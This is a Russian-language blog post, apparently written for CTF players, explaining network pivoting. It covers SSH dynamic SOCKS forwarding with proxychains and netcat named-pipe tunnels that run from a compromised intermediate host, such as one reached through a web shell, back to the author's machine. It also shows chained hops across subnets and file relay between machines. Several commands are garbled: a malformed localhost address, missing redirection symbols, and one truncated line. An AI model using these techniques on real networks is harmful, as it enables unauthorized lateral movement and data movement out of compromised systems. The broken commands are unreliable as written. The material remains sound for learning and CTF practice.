[Из песочницы] Pivoting или проброс портов
Наткнулся на статью «SSH-туннели — пробрасываем порт» и захотелось ее дополнить.
Итак, какие еще способы тунеллирования есть:
1. Динамический доступ через SSH
Допустим мы имеем SSH доступ в сеть, и хотим получить доступ к другим хостам/портам в этой сети. Способ уже описанный в вышеупомянутой статье предполагает знание хоста: порта куда мы хотим получить доступ. Но что если мы не знаем этого?
Тут может пригодиться динамический доступ через SSH. Для его конфигурации используется опция ssh -D.
ssh -D 127:0.0.1:2222 user@remotehost
После подключения вы получите динамический socks4 прокси-сервер, слушающий на своей машине на порту 2222 и предоставляющий доступ к удаленной сети.
Как воспользоваться этим доступом? Один из вариантов — использовать proxychains.
Второй вариант — прописать адрес этого прокси сервера 127.0.0.1:2222 прямо у себя в браузере. В результате мы сможем ходить на любые веб-сервера в удаленной подсети.
Очень важно понимать что ProxyChains не зря имеют Chains (переводится как «цепи» или «цепочки») в своем названии. Это значит, что можно выстраивать цепочки из прокси и таким образом строить туннели через множество подсетей. Как это сделать — предлагаю изучить самостоятельно.
2. Туннели NetCat (nc)
Практика показывает, что многие просто не знают об этом функционале NetCat. Итак, представим гипотетическую ситуацию:
- У нас есть доступ в удаленную посдеть на один компьютер (например при помощи web-shell). Будем называть этот компьютер «промежуточый компьютер»;
- Есть доступ к netcat на этом компьютере;
- Можем с этого компьютера подключаться при помощи Netcat на свой компьютер (но не наоборот — т.е. у нас т.н. reverse shell);
- Имеется горячее желание подключиться к какому-то серверу в удаленной сети, например, по протоколу ssh на порту 22, а ssh клиента на промежуточном компьютере нет и поставить его нельзя.
Эта задача легко решается при помощи netcat туннелей. Для этого на своей машине запускаем следующие команды:
mknod backpipe -p
nc -lvp 1234 0backpipe
При этом нужно иметь права на запись в текущую директорию, чтобы создать файл backpipe, и удостовериться, что другие сервисы не слушают на портах 1234 и 8443.
На промежуточной машине делаем:
mknod backpipe -p
nc адрес_вашего_компьютера 8443 0backpipe
При этом нужно иметь права на запись в текущую директорию чтобы создать файл backpipe. Дальше на своей машине делаем ssh -p 1234 user@127.0.0.1 и получаем прямой ssh доступ на удаленный компьютер.
В качестве слегка альтернативных комманд можно использовать:
mkfifo backpipe (аналог mknod -p)
nc -lvp 1234 0
Здесь важно понимать, что netcat-клиент и netcat-сервер можно комбинировать в любых сочетаниях, а цепочку выстраивать любой длины. Например, вариант когда мы имеем прямой доступ на «промежуточный компьютер».
Не забываем создавать backpipe на каждой машине!
На своей машине:
nc -lp 1234 0backpipe
На промежуточном компьютере 1:
nc -lp 443 0backpipe
…
На промежуточном компьютере n:
nc -lp 443 0backpipe
На промежуточном компьютере n+1:
nc -lp 443 0backpipe
Также можно использовать любые удобные вам порты и имена пайпов.
Аналогичным образом можно передавать файлы с машины на машину.
Например. На своей машине:
nc -lp 443 >file.txt
На машине, где лежит файл:
nc -lp 443
На промежуточной машине:
nc адрес_вашего_компьютера 443 | nc адрес компьютера_где_лежит_файл 443
В данном случае создавать backpipe не нужно, т.к. мы не поддерживаем сессию, а просто передаем 1 файл в рамках одной сессии.
Пожалуй, на этом все. Мне это очень помогает при прохождении различных CTF, надеюсь, и вам пригодится.